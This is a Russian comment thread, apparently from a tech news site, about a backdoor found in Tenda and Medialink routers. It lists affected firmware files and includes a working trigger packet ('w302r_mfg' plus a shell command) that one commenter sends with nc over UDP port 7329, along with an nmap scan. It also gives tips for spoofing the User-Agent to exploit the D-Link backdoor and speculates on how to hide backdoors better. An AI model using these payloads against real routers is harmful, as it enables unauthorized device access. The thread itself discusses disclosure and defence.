Comments 34
Чёрт, опоздал :(
Вы уж тогда дополнили бы ссылкой на ea.github.io/blog/2013/10/18/tenda-backdoor/
И списком уязвимых прошивок:
Вы уж тогда дополнили бы ссылкой на ea.github.io/blog/2013/10/18/tenda-backdoor/
И списком уязвимых прошивок:
301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0.15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0.0.16_EN.bin
US_N80_W568Rbr_V1.0.1.8(4428)_en_TD.bin
W311r_H1_V3.3.6b.bin
U268R_H1_V3.3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin
Спасибо! Добавил.
А что мне теперь с этим комментарием делать? :)
Можете, например, исходник раздавать.
github.com/socoola/yhrouter/blob/master/user/goahead/src/goahead.c
github.com/socoola/yhrouter/blob/master/user/goahead/src/goahead.c
Как это грустно… в материнские платы вставляют бекдор-гипервизор, в роутеры бекдоры-авторизации или даже вызов шелов, сетевые карты так же не остаются без внимания.
Есть ли хоть какие то способы, от этого защититься? Полная аппаратная виртуализация (кстати потребуется еще как минимум и шифрование памяти виртуальной машины) и шифрованный канал до одноразового сервера?
p.s. нет ли единого места, где можно мониторить и проверять приобретаемое оборудование на наличие таких 'бездонных отверстий'?
Есть ли хоть какие то способы, от этого защититься? Полная аппаратная виртуализация (кстати потребуется еще как минимум и шифрование памяти виртуальной машины) и шифрованный канал до одноразового сервера?
p.s. нет ли единого места, где можно мониторить и проверять приобретаемое оборудование на наличие таких 'бездонных отверстий'?
Почему у вас доверие к одной закрытой OS выше чем к другой?
Можно понять логику доверия к RouterOS? Например у ZyXEL есть такое — zyxel.ru/agreementopensource
Конечно и там идет «В данное ПО так же входят некоторые компоненты без исходного кода, которые являются собственностью компаний NDM Systems, ZyXEL Communications, Beceem Communications, Quanta Microsystems и Ralink Technology.», и в них уже могут быть закладки (как с тем же гипервизором на материнке), и так к сожалению практически везде. Нужно искать железо, к которому на все предоставляются исходники, а не частями, что сейчас практически не найти.
Конечно и там идет «В данное ПО так же входят некоторые компоненты без исходного кода, которые являются собственностью компаний NDM Systems, ZyXEL Communications, Beceem Communications, Quanta Microsystems и Ralink Technology.», и в них уже могут быть закладки (как с тем же гипервизором на материнке), и так к сожалению практически везде. Нужно искать железо, к которому на все предоставляются исходники, а не частями, что сейчас практически не найти.
Есть ли хоть какие то способы, от этого защититься?Как минимум, есть исследования по близкой проблеме: (см. раздел 5 в статье; также там даны ссылки на другие работы). К сожалению, не могу сейчас сказать, продолжается ли развитие этого направления или оно заглохло.
В плане защиты внутренней сети, как вариант, ставить 2-3 межсетевых экрана друг за другом разных производителей, желательно из конфликтующих стран типа США-Китай. Наверняка бэкдоры есть во всем, но не факт, что у конкретного противника окажется доступ ко всем сразу :)
Это защитит от серверов, слушающих порт. А если оборудование само инициирует коннект, проходя все NAT-ы?
Чтобы не палиться, роутер может в случайное время суток пингануть один из своих управляющих серверов и, если он ответит, законнектиться к другому серверу и принимать команды. Минус — надо выждать. Плюс — кто из экранов отправил ping-пакет, сложно выяснить и скорее всего никому не придёт в голову проверять (можно и под ntp замаскировать, типа роутер время обновляет).
Чтобы не палиться, роутер может в случайное время суток пингануть один из своих управляющих серверов и, если он ответит, законнектиться к другому серверу и принимать команды. Минус — надо выждать. Плюс — кто из экранов отправил ping-пакет, сложно выяснить и скорее всего никому не придёт в голову проверять (можно и под ntp замаскировать, типа роутер время обновляет).
Блин, кто ж так делает бекдоры… Командный пакет должен быть подписан закрытым ключом. Ну, в крайнем случае содержать пароль, который сервер хеширует и сравнивает с эталоном.
Дорого делать такой бэкдор. Придется платить патентные отчисления за алгоритмы шифрования, если только они уже не используются в том же устройстве для других целей. В таких вопросах нельзя полагаться на закрытость исходного кода прошивки и ее функциональности. Вот нашли же бэкдор — нашли. Если бы там был, например, RSA — нашли бы и его. И опс — фирма-изготовитель получает патентный иск.
А по-моему, паролем лучше всего делать какое-нибудь сообщение об ошибке на тему авторизации, да так, чтобы ещё раза 3 это сообщение использовалось по-нормальному.
Нет, это всё-таки выявляется исследованием прошивки. Нужно так делать бекдоры, чтобы даже если перерыть всю прошивку, код доступа получить было нельзя.
Сейчас любой желающий, узнав о пароле, может подключиться к уязвимому D-Link / Tenda. А нужно, чтобы исследователь, нашедший дыру, не смог дать рабочий рецепт использования. Людям придётся поверить на слово, что дыра есть. Без возможности проверить, подобная новость не будет жареной, не облетит новостные сайты, не ударит по репутации столь сильно.
Сейчас любой желающий, узнав о пароле, может подключиться к уязвимому D-Link / Tenda. А нужно, чтобы исследователь, нашедший дыру, не смог дать рабочий рецепт использования. Людям придётся поверить на слово, что дыра есть. Без возможности проверить, подобная новость не будет жареной, не облетит новостные сайты, не ударит по репутации столь сильно.
Прям асимметричное шифрование предлагаете туда запихнуть? ;)
На у что, OpenSSL наверняка есть в составе. Если нет, хотя бы любую стойкую хеш-функцию.
Ну, для порчи кармы прошивке достаточно открыть левый сокет или неочевидным образом парсить url-ы, на которые нет ссылок в веб-морде. Недокументированное плведение уже повод ддя подозрений.
Нет. Нужно доказать, что определённое входное воздействие приводит к определённому поведению.
В случае с криптографией придётся пропатчить ключики, чтобы провести демонстрацию.
В случае с криптографией придётся пропатчить ключики, чтобы провести демонстрацию.
Стоп. Под порчей кармы прошивки я понимаю потерю моего к ней доверия. И если некий исследователь безопасности ткнет меня носом в то, что некая прошивка вдруг начинает слушать какой-то неуставной порт, а производитель на это не прореагирует как-то внятно — для меня лично это уже будет поводом либо не покупать данных девайс, либо использовать альтернативную прошивку. Хотя да, для того, чтобы показать дыру широкой общественности и заработать репутационные плюшки, нужно научиться дыру эксплуатировать. И да, в случае несимметричного шифрования команд придется показывать народу, как поменять ключи в стоковой прошивке на свои, чтобы самому эксплуатировать уязвимость в самостоятельно пропатченной прошивке. И да, по сути дела, эта процедура и будет залатыванием уязвимости.
Вот ведь, а только Тенду приобрел для личного пользования, купили цена и «видимая» прозрачность исполнения.
Ну по крайней мере юзерагента как в истории с d-link'ом сменить на порядок проще чем сформировать нужный пакет.
Ну по крайней мере юзерагента как в истории с d-link'ом сменить на порядок проще чем сформировать нужный пакет.
echo -ne "w302r_mfg\x00x/bin/ls"
Ну для Вашего случая, минимум на команду uname должно возвращаться что-то отличное от ошибки.
я же говорю для «массового пользователя», где на c:\ver отваливается «Microsoft Windows [Version ......]»
Для этой категории граждан:
FireFox: about:config -> general.useragent.extra.firefox…
IE: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent
Opera: opera:config#ISP|Id
Chrome: F12 -> Settings -> Overrides -> Useragents и вуаля…
Просто я боюсь что сейчас начнется бум «суперхацкеров»… D-link ОЧЕНЬ распространенная система даже в России
я же говорю для «массового пользователя», где на c:\ver отваливается «Microsoft Windows [Version ......]»
Для этой категории граждан:
FireFox: about:config -> general.useragent.extra.firefox…
IE: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent
Opera: opera:config#ISP|Id
Chrome: F12 -> Settings -> Overrides -> Useragents и вуаля…
Просто я боюсь что сейчас начнется бум «суперхацкеров»… D-link ОЧЕНЬ распространенная система даже в России
Я сейчас подниму ещё одну волну «суперхацкеров», но есть cygwin ;)
кстати, у меня не работает, хотя W330R роутер:
datacompboy@nuuzerpogodible:~$ echo -ne «w302r_mfg\x00x/bin/ls» | nc -u -q 5 172.28.1.1 7329
datacompboy@nuuzerpogodible:~$ echo -ne «w330r_mfg\x00x/bin/ls» | nc -u -q 5 172.28.1.1 7329
datacompboy@nuuzerpogodible:~$
и порт похоже закрыт:
datacompboy@nuuzerpogodible:~$ sudo nmap -sU 172.28.1.1 -p 7300-7400 -v
Starting Nmap 6.40 ( nmap.org ) at 2013-10-21 00:21 NOVT
Initiating ARP Ping Scan at 00:21
Scanning 172.28.1.1 [1 port]
Completed ARP Ping Scan at 00:21, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:21
Completed Parallel DNS resolution of 1 host. at 00:21, 0.00s elapsed
Initiating UDP Scan at 00:21
Scanning 172.28.1.1 [101 ports]
Increasing send delay for 172.28.1.1 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 172.28.1.1 from 50 to 100 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 172.28.1.1 from 100 to 200 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 172.28.1.1 from 200 to 400 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 172.28.1.1 from 400 to 800 due to 11 out of 11 dropped probes since last increase.
Completed UDP Scan at 00:22, 58.87s elapsed (101 total ports)
Nmap scan report for 172.28.1.1
Host is up (0.0043s latency).
All 101 scanned ports on 172.28.1.1 are closed (60) or open|filtered (41)
MAC Address: C8:3A:35:12:A0:00 (Tenda Technology Co.)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 59.15 seconds
Raw packets sent: 450 (12.600KB) | Rcvd: 79 (4.884KB)
datacompboy@nuuzerpogodible:~$ echo -ne «w302r_mfg\x00x/bin/ls» | nc -u -q 5 172.28.1.1 7329
datacompboy@nuuzerpogodible:~$ echo -ne «w330r_mfg\x00x/bin/ls» | nc -u -q 5 172.28.1.1 7329
datacompboy@nuuzerpogodible:~$
и порт похоже закрыт:
datacompboy@nuuzerpogodible:~$ sudo nmap -sU 172.28.1.1 -p 7300-7400 -v
Starting Nmap 6.40 ( nmap.org ) at 2013-10-21 00:21 NOVT
Initiating ARP Ping Scan at 00:21
Scanning 172.28.1.1 [1 port]
Completed ARP Ping Scan at 00:21, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:21
Completed Parallel DNS resolution of 1 host. at 00:21, 0.00s elapsed
Initiating UDP Scan at 00:21
Scanning 172.28.1.1 [101 ports]
Increasing send delay for 172.28.1.1 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 172.28.1.1 from 50 to 100 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 172.28.1.1 from 100 to 200 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 172.28.1.1 from 200 to 400 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 172.28.1.1 from 400 to 800 due to 11 out of 11 dropped probes since last increase.
Completed UDP Scan at 00:22, 58.87s elapsed (101 total ports)
Nmap scan report for 172.28.1.1
Host is up (0.0043s latency).
All 101 scanned ports on 172.28.1.1 are closed (60) or open|filtered (41)
MAC Address: C8:3A:35:12:A0:00 (Tenda Technology Co.)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 59.15 seconds
Raw packets sent: 450 (12.600KB) | Rcvd: 79 (4.884KB)
Вообще для профилактики кому-либо из юридически подкованных пользователей уязвимого оборудования очень не помешало бы вкатить некоторое количество судебных исков в сторону производителя. Бэкдоры явно оставлялись умышленно (это не ошибки в коде), так что не исключаю, что получится отсудить приличную компенсацию, а заодно отбить охоту делать такие бяки.
«Кому не влом»
остальные тупо прошьют OpenWRT и всё
остальные тупо прошьют OpenWRT и всё
Чтобы у нас в суде выиграть такой иск, придется как-то подтверждать понесенные расходы. По временным затратам при возможности документально подтвердить расходы до ~ 100к.р. — судебные разборки нерентабельны. Нужно юр.лицо, установившее ~100 домашних (?) роутеров одной марки и вынужденное их перепрошивать посредством привлечения сторонних специалистов с белой зарплатой… Более того, думается мне, что все это нужно проделать в течение гарантийного срока устройств и после того, как производитель откажется закрывать дыру в сервисе.
>>Чтобы вы не думали, что D-Link является единственным поставщиком
ИМХО у всех есть «черный ход» просто спрятан лучше.
ИМХО у всех есть «черный ход» просто спрятан лучше.
Е-мое! Мне теперь всем роутеры что ли на OpenWRT перепрошивать (сейчас-то только у меня).
Sign up to leave a comment.
По следам уязвимости D-Link: В беспроводных маршрутизаторах Tenda и Medialink обнаружен бэкдор